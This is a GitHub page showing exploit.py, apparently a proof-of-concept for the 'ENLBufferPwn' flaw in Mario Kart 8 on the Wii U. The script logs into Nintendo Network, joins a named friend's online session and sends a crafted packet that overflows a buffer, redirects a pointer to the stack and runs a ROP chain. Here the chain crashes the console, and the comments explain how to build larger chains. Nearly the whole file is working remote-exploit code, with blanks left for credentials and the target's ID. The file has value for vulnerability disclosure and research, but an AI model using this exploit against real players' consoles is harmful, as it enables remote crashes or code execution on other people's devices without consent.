-
Notifications
You must be signed in to change notification settings - Fork 13
/
Copy pathexploit.py
167 lines (129 loc) · 5.17 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
from nintendo.nex import backend, matchmaking
from nintendo.pia.session import PIASession
from nintendo.account import AccountAPI
from nintendo.games import MK8
from nintendo.common import streams
import time, struct, urllib3, bs4
import wiiu_rop_utils
import logging
logging.basicConfig(level=logging.CRITICAL)
# Device id can be retrieved from MCP_GetDeviceId or a web proxy
# Serial number can be found on the back of the Wii U or a web proxy
DEVICE_ID = 123467890
SERIAL_NUMBER = "FEH123456789"
SYSTEM_VERSION = 0x260
REGION_ID = 4
COUNTRY_ID = 94
REGION_NAME = "EUR"
COUNTRY_NAME = "FR"
LANGUAGE = "en"
USERNAME = "" #Nintendo network id
PASSWORD = "" #Nintendo network password
FRIEND_NAME = "" # Target NNID
urllib3.disable_warnings()
# Log in on account server
api = AccountAPI()
api.set_device(DEVICE_ID, SERIAL_NUMBER, SYSTEM_VERSION, REGION_ID, COUNTRY_NAME)
api.set_title(MK8.TITLE_ID_EUR, MK8.LATEST_VERSION)
api.login(USERNAME, PASSWORD)
my_pid = api.get_pid(USERNAME)
friend_pid = api.get_pid(FRIEND_NAME)
mii_name = api.get_mii(my_pid).name
# Connect to game server
nex_token = api.get_nex_token(MK8.GAME_SERVER_ID)
backend_ = backend.BackEndClient(MK8.ACCESS_KEY, MK8.NEX_VERSION)
backend_.connect(nex_token.host, nex_token.port)
backend_.login(
nex_token.username, nex_token.password
)
print()
print("[ENLBufferPwn] Logged in as %s on game server %s:%d" % (USERNAME, nex_token.host, nex_token.port))
matchmake_ext = matchmaking.MatchmakeExtensionClient(backend_)
# Find friend room
playing_sessions = matchmake_ext.get_playing_session([friend_pid])
if not playing_sessions:
raise RuntimeError("Couldn't find friend room for %s" %FRIEND_NAME)
gathering = playing_sessions[0].gathering
print("[ENLBufferPwn] Found gathering %d with player %s (%d)" %(gathering.id, FRIEND_NAME, friend_pid))
# Request session key (for p2p)
session_key = matchmake_ext.join_matchmake_session(
gathering.id, "This is the exploit"
)
print("[ENLBufferPwn] Joined matchmake session, session key: ", session_key.hex())
matchmaker = matchmaking.MatchMakingClient(backend_)
session_urls = matchmaker.get_session_urls(gathering.id)
# Initialize P2P session
session = PIASession(backend_, session_key)
session.start(
bytes("1_" + str(gathering.id) + "_12", encoding="ascii"),
mii_name
)
# Connect and join mesh
host = session.join_mesh(session_urls)
print("[ENLBufferPwn] Mesh successfully joined!")
# Find host
public_url = None
local_url = None
for url in session_urls:
if url.is_public():
public_url = url
else:
local_url = url
host = session.station_mgr.find_by_rvcid(public_url["RVCID"])
print("[ENLBufferPwn] Found host with PID %d, RVCID %d!" % (public_url["RVCID"], public_url["PID"]))
dest_ptr = 0x1f616930 + 0x24 # stack pointer
# Our ROP chain
"""
void rop() {
DCFlushRange((void*)dest_ptr, 0x160);
OSFatal("ENLBufferPwn example!"); // this never returns, since it crashes the console with the specified text on screen
}
"""
rop = wiiu_rop_utils.WiiU_ROP_Utils()
rop.DCFlushRange(dest_ptr, 0x160)
rop.OSFatal(dest_ptr + 0x80) # OSFatal() with a string pointing to 'ENLBufferPwn example!'
rop_payload = streams.StreamOut(">")
for val in rop.rop_payload:
rop_payload.u32(val)
rop_payload.write(b"ENLBufferPwn example!\x00")
# Crafting fake ENL packet
#
# We will use the Mario Kart content transporter with ID 0, it has a default size of 0x9C byte
# We will extend it's size, overwriting a enl::Buffer entry and making it point to the stack
# The data of the packet will be written to the stack
#
# NOTE: If you want to do a bigger rop chain than 0x9C bytes, just write them from end-to-start.
# Or repeat the exploit to write to empty memory, then use the 0x9C to copy the ROP to stack once done
#
# So basically we use the 0x9c to put our ROP chain
# Then the additional 0x44 to overwrite a enl::DoubleBuffer entry, so the sent data gets copied to the stack!
# Tadaaaa it works.
#
# It probably is hard to understand without seeing what the memory layout looks like, but it's just the WiiU. (and a PoC)
fake_enl_packet = streams.StreamOut(">")
fake_enl_packet.u8(0) # Content Transporter ID
fake_enl_packet.u16(0x9c + 0x44) # Content Size
fake_enl_packet.write(rop_payload.data) # ROP chain data
fake_enl_packet.write(b"\x05" * (0x9C - (len(fake_enl_packet.data) - 3))) # padding until we reach 0x9C bytes
# We overwrite a pointer to the 'recv' enl::Buffer, and make it point to our packet data
packet_data_ptr = 0x38e1cbb8
fake_enl_packet.u32(packet_data_ptr + 0x9C + 4) # 0x00
# Now we write the fake enl::Buffer entry pointing to the stack addr
fake_enl_packet.u32(dest_ptr) # 0x04 (buffer ptr, stack addr)
fake_enl_packet.u32(0x160) # 0x08 (buffer capacity)
fake_enl_packet.u32(0x160) # 0x0C (buffer size)
fake_enl_packet.u8(1) # 0x10 (buffer isAllocated)
fake_enl_packet.pad(3)
# Debug Padding
for i in range(0x30//4):
fake_enl_packet.u32(packet_data_ptr + 0x9C - 4)
# Append ENL "end" record
fake_enl_packet.u8(0xFF)
fake_enl_packet.u16(0)
fake_enl_packet.u16(0xFFFF)
# Trigger unsecure memcpy(), will copy packet data to the stack
session.unreliable_protocol.send(host, fake_enl_packet.data)
print("[ENLBufferPwn] Sent exploit packet!")
time.sleep(1)
# Disconnect from game server
backend_.close()